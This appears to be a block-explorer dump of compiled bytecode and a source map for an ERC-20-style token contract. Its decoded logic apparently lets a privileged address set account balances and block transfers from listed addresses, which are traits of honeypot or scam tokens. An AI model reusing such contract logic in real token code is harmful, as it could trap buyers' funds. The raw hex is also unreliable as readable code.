000000000000000000000000000000008152600401611a0090613257565b60405180910390fd5b611a14848484611c8c565b611a1f848484611ee6565b600060125414611ab957601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a0712d686012546040518263ffffffff1660e01b8152600401611a86919061247d565b600060405180830381600087803b158015611aa057600080fd5b505af1158015611ab4573d6000803e3d6000fd5b505050505b818103600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b4e9190612acc565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611bb2919061247d565b60405180910390a350505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611d385750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d455750600d5481115b15611ee157600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ee05760001515600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151480611e485750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80611ea05750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed690613257565b60405180910390fd5b5b5b505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611fb45750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611fc15750600d5481115b801561201b5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561215d57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120c55750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8061211d5750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b61215c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121539061317f565b60405180910390fd5b5b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561219c578082015181840152602081019050612181565b60008484015250505050565b6000601f19601f8301169050919050565b60006121c482612162565b6121ce818561216d565b93506121de81856020860161217e565b6121e7816121a8565b840191505092915050565b6000602082019050818103600083015261220c81846121b9565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061225382612228565b9050919050565b61226381612248565b811461226e57600080fd5b50565b6000813590506122808161225a565b92915050565b6000819050919050565b61229981612286565b81146122a457600080fd5b50565b6000813590506122b681612290565b92915050565b600080604083850312156122d3576122d261221e565b5b60006122e185828601612271565b92505060206122f2858286016122a7565b9150509250929050565b60008115159050919050565b612311816122fc565b82525050565b600060208201905061232c6000830184612308565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261235757612356612332565b5b8235905067ffffffffffffffff81111561237457612373612337565b5b6020830191508360208202830111156123905761238f61233c565b5b9250929050565b60008083601f8401126123ad576123ac612332565b5b8235905067ffffffffffffffff8111156123ca576123c9612337565b5b6020830191508360208202830111156123e6576123e561233c565b5b9250929050565b600080600080604085870312156124075761240661221e565b5b600085013567ffffffffffffffff81111561242557612424612223565b5b61243187828801612341565b9450945050602085013567ffffffffffffffff81111561245457612453612223565b5b61246087828801612397565b925092505092959194509250565b61247781612286565b82525050565b6000602082019050612492600083018461246e565b92915050565b6000806000606084860312156124b1576124b061221e565b5b60006124bf86828701612271565b93505060206124d086828701612271565b92505060406124e1868287016122a7565b9150509250925092565b600060ff82169050919050565b612501816124eb565b82525050565b600060208201905061251c60008301846124f8565b92915050565b61252b81612248565b82525050565b60006020820190506125466000830184612522565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612584826121a8565b810181811067ffffffffffffffff821117156125a3576125a261254c565b5b80604052505050565b60006125b6612214565b90506125c2828261257b565b919050565b600067ffffffffffffffff8211156125e2576125e161254c565b5b602082029050602081019050919050565b6000612606612601846125c7565b6125ac565b905080838252602082019050602084028301858111156126295761262861233c565b5b835b81811015612652578061263e8882612271565b84526020840193505060208101905061262b565b5050509392505050565b600082601f83011261267157612670612332565b5b81356126818482602086016125f3565b91505092915050565b600080604083850312156126a1576126a061221e565b5b600083013567ffffffffffffffff8111156126bf576126be612223565b5b6126cb8582860161265c565b92505060206126dc858286016122a7565b9150509250929050565b6126ef816122fc565b81146126fa57600080fd5b50565b60008135905061270c816126e6565b92915050565b600080604083850312156127295761272861221e565b5b600061273785828601612271565b9250506020612748858286016126fd565b9150509250929050565b6000602082840312156127685761276761221e565b5b6000612776848285016122a7565b91505092915050565b6000602082840312156127955761279461221e565b5b60006127a384828501612271565b91505092915050565b6000819050919050565b60006127d16127cc6127c784612228565b6127ac565b612228565b9050919050565b60006127e3826127b6565b9050919050565b60006127f5826127d8565b9050919050565b612805816127ea565b82525050565b600060208201905061282060008301846127fc565b92915050565b6000806040838503121561283d5761283c61221e565b5b600061284b85828601612271565b925050602061285c85828601612271565b9150509250929050565b6000612871826127d8565b9050919050565b61288181612866565b82525050565b600060208201905061289c6000830184612878565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806128e957607f821691505b6020821081036128fc576128fb6128a2565b5b50919050565b7f4c656e677468206f66206164647265737365732073686f756c6420626520657160008201527f75616c20746f20616d6f756e7473000000000000000000000000000000000000602082015250565b600061295e602e8361216d565b915061296982612902565b604082019050919050565b6000602082019050818103600083015261298d81612951565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129fd82612286565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a2f57612a2e6129c3565b5b600182019050919050565b7f5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6360008201527f6500000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a9660218361216d565b9150612aa182612a3a565b604082019050919050565b60006020820190508181036000830152612ac581612a89565b9050919050565b6000612ad782612286565b9150612ae283612286565b9250828201905080821115612afa57612af96129c3565b5b92915050565b7f215f616464726573733000000000000000000000000000000000000000000000600082015250565b6000612b36600a8361216d565b9150612b4182612b00565b602082019050919050565b60006020820190508181036000830152612b6581612b29565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115612bc357808604811115612b9f57612b9e6129c3565b5b6001851615612bae5780820291505b8081029050612bbc85612b6c565b9450612b83565b94509492505050565b600082612bdc5760019050612c98565b81612bea5760009050612c98565b8160018114612c005760028114612c0a57612c39565b6001915050612c98565b60ff841115612c1c57612c1b6129c3565b5b8360020a915084821115612c3357612c326129c3565b5b50612c98565b5060208310610133831016604e8410600b8410161715612c6e5782820a905083811115612c6957612c686129c3565b5b612c98565b612c7b8484846001612b79565b92509050818404811115612c9257612c916129c3565b5b81810290505b9392505050565b6000612caa82612286565b9150612cb5836124eb565b9250612ce27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612bcc565b905092915050565b6000612cf582612286565b9150612d0083612286565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612d3957612d386129c3565b5b828202905092915050565b6000612d4f82612286565b9150612d5a83612286565b9250828203905081811115612d7257612d716129c3565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612db282612286565b9150612dbd83612286565b925082612dcd57612dcc612d78565b5b828204905092915050565b6000604082019050612ded6000830185612522565b612dfa602083018461246e565b9392505050565b7f215f61646472657373302e6e6f74204f776e6572000000000000000000000000600082015250565b6000612e3760148361216d565b9150612e4282612e01565b602082019050919050565b60006020820190508181036000830152612e6681612e2a565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612ea360208361216d565b9150612eae82612e6d565b602082019050919050565b60006020820190508181036000830152612ed281612e96565b9050919050565b600081519050612ee881612290565b92915050565b600060208284031215612f0457612f0361221e565b5b6000612f1284828501612ed9565b91505092915050565b600081519050612f2a816126e6565b92915050565b600060208284031215612f4657612f4561221e565b5b6000612f5484828501612f1b565b91505092915050565b7f44656372656173656420616c6c6f77616e63652062656c6f77207a65726f0000600082015250565b6000612f93601e8361216d565b9150612f9e82612f5d565b602082019050919050565b60006020820190508181036000830152612fc281612f86565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061302560268361216d565b915061303082612fc9565b604082019050919050565b6000602082019050818103600083015261305481613018565b9050919050565b7f417070726f76652066726f6d20746865207a65726f2061646472657373000000600082015250565b6000613091601d8361216d565b915061309c8261305b565b602082019050919050565b600060208201905081810360008301526130c081613084565b9050919050565b7f417070726f766520746f20746865207a65726f20616464726573730000000000600082015250565b60006130fd601b8361216d565b9150613108826130c7565b602082019050919050565b6000602082019050818103600083015261312c816130f0565b9050919050565b7f5472616e736665722066726f6d20746865207a65726f20616464726573730000600082015250565b6000613169601e8361216d565b915061317482613133565b602082019050919050565b600060208201905081810360008301526131988161315c565b9050919050565b7f5472616e7366657220746f20746865207a65726f206164647265737300000000600082015250565b60006131d5601c8361216d565b91506131e08261319f565b602082019050919050565b60006020820190508181036000830152613204816131c8565b9050919050565b7f5472616e7366657220616d6f756e7420657863656564732062616c616e636500600082015250565b6000613241601f8361216d565b915061324c8261320b565b602082019050919050565b6000602082019050818103600083015261327081613234565b905091905056fea26469706673582212207fe5988dadf774001b2ee241b1dea498ded1af5b7ee9d97e9dbf47a5ed4669c464736f6c63430008100033

Deployed Bytecode Sourcemap

10664:7627:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12496:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13344:209;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14316:298;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12766:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16697:428;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12682:76;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13703:203;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14626:184;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11397:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17568:263;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17133:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17952:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12865:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6918:94;;;:::i;:::-;;18110:178;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6267:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12587;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13914:394;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16533:156;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17302:250;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14820:125;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11709:19;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17844:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13561:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7167:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14953:117;;;:::i;:::-;;11432:32;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12496:83;12533:13;12566:5;12559:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12496:83;:::o;13344:209::-;13410:4;13450:3;;;;;;;;;;;:8;;;13459:15;;13450:25;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13486:37;13495:10;13507:7;13516:6;13486:8;:37::i;:::-;13541:4;13534:11;;13344:209;;;;:::o;14316:298::-;14428:7;;:14;;14415:2;;:9;;:27;14407:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;14509:9;14504:103;14528:2;;:9;;14524:1;:13;14504:103;;;14567:27;14576:2;;14579:1;14576:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;14583:7;;14591:1;14583:10;;;;;;;:::i;:::-;;;;;;;;14567:8;:27::i;:::-;14559:36;;;;;;14539:3;;;;;:::i;:::-;;;;14504:103;;;;14316:298;;;;:::o;12766:91::-;12810:7;12837:12;;12830:19;;12766:91;:::o;16697:428::-;16786:4;16803:36;16813:6;16821:9;16832:6;16803:9;:36::i;:::-;16850:24;16877:11;:19;16889:6;16877:19;;;;;;;;;;;;;;;:31;16897:10;16877:31;;;;;;;;;;;;;;;;16850:58;;16947:6;16927:16;:26;;16919:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;17027:55;17036:6;17044:10;17075:6;17056:16;:25;17027:8;:55::i;:::-;17113:4;17106:11;;;16697:428;;;;;:::o;12682:76::-;12723:5;12748:2;12741:9;;12682:76;:::o;13703:203::-;13783:4;13800:76;13809:10;13821:7;13865:10;13830:11;:23;13842:10;13830:23;;;;;;;;;;;;;;;:32;13854:7;13830:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;13800:8;:76::i;:::-;13894:4;13887:11;;13703:203;;;;:::o;14626:184::-;14718:9;;;;;;;;;;;14704:23;;:10;:23;;;14696:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;14792:10;:8;:10::i;:::-;14786:2;:16;;;;:::i;:::-;14777:6;:25;;;;:::i;:::-;14758:9;:16;14768:5;14758:16;;;;;;;;;;;;;;;:44;;;;14626:184;;:::o;11397:28::-;;;;;;;;;;;;;:::o;17568:263::-;12210:16;12229:9;12210:28;;17677:6:::1;17667:7;:16;;;;17699:6;17694:130;17711:7;:14;17709:1;:16;17694:130;;;17776:7;17784:1;17776:10;;;;;;;;:::i;:::-;;;;;;;;17752:60;;17769:4;17752:60;;;17800:10;:8;:10::i;:::-;17796:2;:14;;;;:::i;:::-;17788:6;:23;;;;:::i;:::-;17752:60;;;;;;:::i;:::-;;;;;;;;17727:3;;;;;:::i;:::-;;;;17694:130;;;;12261:18:::0;12295:8;;:15;;12290:2;:20;;;;:::i;:::-;12282:5;:28;;;;:::i;:::-;12261:49;;12321:16;12364:9;12353:8;12340:10;:21;;;;:::i;:::-;:33;;;;:::i;:::-;12321:52;;12384:19;12427:5;12418;12407:8;:16;;;;:::i;:::-;12406:26;;;;:::i;:::-;12384:48;;12443:3;;;;;;;;;;;:16;;;12460:6;;;;;;;;;;;12468:11;12443:37;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12199:289;;;;17568:263;;:::o;17133:158::-;17216:9;;;;;;;;;;;17202:23;;:10;:23;;;17194:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;17277:6;17261:9;:15;17271:4;17261:15;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;17133:158;;:::o;17952:150::-;18035:9;;;;;;;;;;;18021:23;;:10;:23;;;18013:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;18088:6;18070:15;:24;;;;17952:150;:::o;12865:139::-;12921:7;12968:1;12948:9;:17;12958:6;12948:17;;;;;;;;;;;;;;;;:21;;:48;;12979:9;:17;12989:6;12979:17;;;;;;;;;;;;;;;;12948:48;;;12971:7;;12948:48;12941:55;;12865:139;;;:::o;6918:94::-;6498:12;:10;:12::i;:::-;6487:23;;:7;:5;:7::i;:::-;:23;;;6479:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6983:21:::1;7001:1;6983:9;:21::i;:::-;6918:94::o:0;18110:178::-;18189:9;;;;;;;;;;;18175:23;;:10;:23;;;18167:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;18228:3;;;;;;;;;;;:12;;;18241:5;18247:3;;;;;;;;;;;:13;;;18269:4;18247:28;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;18228:48;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;18110:178;:::o;6267:87::-;6313:7;6340:6;;;;;;;;;;;6333:13;;6267:87;:::o;12587:::-;12626:13;12659:7;12652:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12587:87;:::o;13914:394::-;13999:4;14016:24;14043:11;:23;14055:10;14043:23;;;;;;;;;;;;;;;:32;14067:7;14043:32;;;;;;;;;;;;;;;;14016:59;;14114:15;14094:16;:35;;14086:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;14200:65;14209:10;14221:7;14249:15;14230:16;:34;14200:8;:65::i;:::-;14296:4;14289:11;;;13914:394;;;;:::o;16533:156::-;16602:4;16619:40;16629:10;16641:9;16652:6;16619:9;:40::i;:::-;16677:4;16670:11;;16533:156;;;;:::o;17302:250::-;17384:9;;;;;;;;;;;17370:23;;:10;:23;;;17362:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;17449:6;17429:11;:17;17441:4;17429:17;;;;;;;;;;;;;;;;:26;;;;;;;;;;;;;;;;;;17469:11;:17;17481:4;17469:17;;;;;;;;;;;;;;;;;;;;;;;;;17466:79;;;17498:35;17507:4;17513:7;;;;;;;;;;;17522:10;;17498:8;:35::i;:::-;17466:79;17302:250;;:::o;14820:125::-;14892:9;;;;;;;;;;;14878:23;;:10;:23;;;14870:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;14929:8;14917:9;;:20;;;;;;;;;;;;;;;;;;14820:125;:::o;11709:19::-;;;;;;;;;;;;;:::o;17844:100::-;17895:7;17921:15;;17914:22;;17844:100;:::o;13561:134::-;13633:7;13660:11;:18;13672:5;13660:18;;;;;;;;;;;;;;;:27;13679:7;13660:27;;;;;;;;;;;;;;;;13653:34;;13561:134;;;;:::o;7167:192::-;6498:12;:10;:12::i;:::-;6487:23;;:7;:5;:7::i;:::-;:23;;;6479:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7276:1:::1;7256:22;;:8;:22;;::::0;7248:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;7332:19;7342:8;7332:9;:19::i;:::-;7167:192:::0;:::o;14953:117::-;15012:9;;;;;;;;;;;14998:23;;:10;:23;;;14990:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;15049:13;;;;;;;;;;;15037:9;;:25;;;;;;;;;;;;;;;;;;14953:117::o;11432:32::-;;;;;;;;;;;;;:::o;13012:324::-;13123:1;13106:19;;:5;:19;;;13098:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;13197:1;13178:21;;:7;:21;;;13170:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;13274:6;13244:11;:18;13256:5;13244:18;;;;;;;;;;;;;;;:27;13263:7;13244:27;;;;;;;;;;;;;;;:36;;;;13312:7;13296:32;;13305:5;13296:32;;;13321:6;13296:32;;;;;;:::i;:::-;;;;;;;;13012:324;;;:::o;15080:732::-;15196:1;15178:20;;:6;:20;;;15170:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;15273:1;15252:23;;:9;:23;;;15244:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;15319:21;15343:9;:17;15353:6;15343:17;;;;;;;;;;;;;;;;15319:41;;15396:6;15379:13;:23;;15371:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15450:36;15460:6;15468:9;15479:6;15450:9;:36::i;:::-;15498;15508:6;15516:9;15527:6;15498:9;:36::i;:::-;15589:1;15572:15;;:18;15569:53;;15595:3;;;;;;;;;;;:8;;;15604:15;;15595:25;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15569:53;15693:6;15677:13;:22;15657:9;:17;15667:6;15657:17;;;;;;;;;;;;;;;:42;;;;15745:6;15721:9;:20;15731:9;15721:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;15786:9;15769:35;;15778:6;15769:35;;;15797:6;15769:35;;;;;;:::i;:::-;;;;;;;;15159:653;15080:732;;;:::o;5650:98::-;5703:7;5730:10;5723:17;;5650:98;:::o;7367:173::-;7423:16;7442:6;;;;;;;;;;;7423:25;;7468:8;7459:6;;:17;;;;;;;;;;;;;;;;;;7523:8;7492:40;;7513:8;7492:40;;;;;;;;;;;;7412:128;7367:173;:::o;15820:368::-;15940:9;;;;;;;;;;;15927:22;;:9;:22;;;;:45;;;;;15963:9;;;;;;;;;;;15953:19;;:6;:19;;;;15927:45;:63;;;;;15985:5;;15976:6;:14;15927:63;15924:246;;;16012:9;:17;16022:6;16012:17;;;;;;;;;;;;;;;;;;;;;;;;;16008:161;;;16080:5;16059:26;;:9;:17;16069:6;16059:17;;;;;;;;;;;;;;;;;;;;;;;;;:26;;;:48;;;;16100:7;;;;;;;;;;;16089:18;;:9;:18;;;16059:48;:71;;;;16121:9;;;;;;;;;;;16111:19;;:6;:19;;;16059:71;16051:116;;;;;;;;;;;;:::i;:::-;;;;;;;;;16008:161;15924:246;15820:368;;;:::o;16201:322::-;16318:9;;;;;;;;;;;16308:19;;:6;:19;;;;:43;;;;;16342:9;;;;;;;;;;;16331:20;;:9;;;;;;;;;;;:20;;;;16308:43;:61;;;;;16364:5;;16355:6;:14;16308:61;:85;;;;;16384:9;;;;;;;;;;;16371:22;;:9;:22;;;;16308:85;16303:212;;;16419:11;:19;16431:6;16419:19;;;;;;;;;;;;;;;;;;;;;;;;;:40;;;;16450:9;;;;;;;;;;;16440:19;;:6;:19;;;16419:40;:58;;;;16470:7;;;;;;;;;;;16462:15;;:6;:15;;;16419:58;16410:103;;;;;;;;;;;;:::i;:::-;;;;;;;;;16303:212;16201:322;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:117::-;3555:1;3552;3545:12;3569:117;3678:1;3675;3668:12;3692:117;3801:1;3798;3791:12;3832:568;3905:8;3915:6;3965:3;3958:4;3950:6;3946:17;3942:27;3932:122;;3973:79;;:::i;:::-;3932:122;4086:6;4073:20;4063:30;;4116:18;4108:6;4105:30;4102:117;;;4138:79;;:::i;:::-;4102:117;4252:4;4244:6;4240:17;4228:29;;4306:3;4298:4;4290:6;4286:17;4276:8;4272:32;4269:41;4266:128;;;4313:79;;:::i;:::-;4266:128;3832:568;;;;;:::o;4423:::-;4496:8;4506:6;4556:3;4549:4;4541:6;4537:17;4533:27;4523:122;;4564:79;;:::i;:::-;4523:122;4677:6;4664:20;4654:30;;4707:18;4699:6;4696:30;4693:117;;;4729:79;;:::i;:::-;4693:117;4843:4;4835:6;4831:17;4819:29;;4897:3;4889:4;4881:6;4877:17;4867:8;4863:32;4860:41;4857:128;;;4904:79;;:::i;:::-;4857:128;4423:568;;;;;:::o;4997:934::-;5119:6;5127;5135;5143;5192:2;5180:9;5171:7;5167:23;5163:32;5160:119;;;5198:79;;:::i;:::-;5160:119;5346:1;5335:9;5331:17;5318:31;5376:18;5368:6;5365:30;5362:117;;;5398:79;;:::i;:::-;5362:117;5511:80;5583:7;5574:6;5563:9;5559:22;5511:80;:::i;:::-;5493:98;;;;5289:312;5668:2;5657:9;5653:18;5640:32;5699:18;5691:6;5688:30;5685:117;;;5721:79;;:::i;:::-;5685:117;5834:80;5906:7;5897:6;5886:9;5882:22;5834:80;:::i;:::-;5816:98;;;;5611:313;4997:934;;;;;;;:::o;5937:118::-;6024:24;6042:5;6024:24;:::i;:::-;6019:3;6012:37;5937:118;;:::o;6061:222::-;6154:4;6192:2;6181:9;6177:18;6169:26;;6205:71;6273:1;6262:9;6258:17;6249:6;6205:71;:::i;:::-;6061:222;;;;:::o;6289:619::-;6366:6;6374;6382;6431:2;6419:9;6410:7;6406:23;6402:32;6399:119;;;6437:79;;:::i;:::-;6399:119;6557:1;6582:53;6627:7;6618:6;6607:9;6603:22;6582:53;:::i;:::-;6572:63;;6528:117;6684:2;6710:53;6755:7;6746:6;6735:9;6731:22;6710:53;:::i;:::-;6700:63;;6655:118;6812:2;6838:53;6883:7;6874:6;6863:9;6859:22;6838:53;:::i;:::-;6828:63;;6783:118;6289:619;;;;;:::o;6914:86::-;6949:7;6989:4;6982:5;6978:16;6967:27;;6914:86;;;:::o;7006:112::-;7089:22;7105:5;7089:22;:::i;:::-;7084:3;7077:35;7006:112;;:::o;7124:214::-;7213:4;7251:2;7240:9;7236:18;7228:26;;7264:67;7328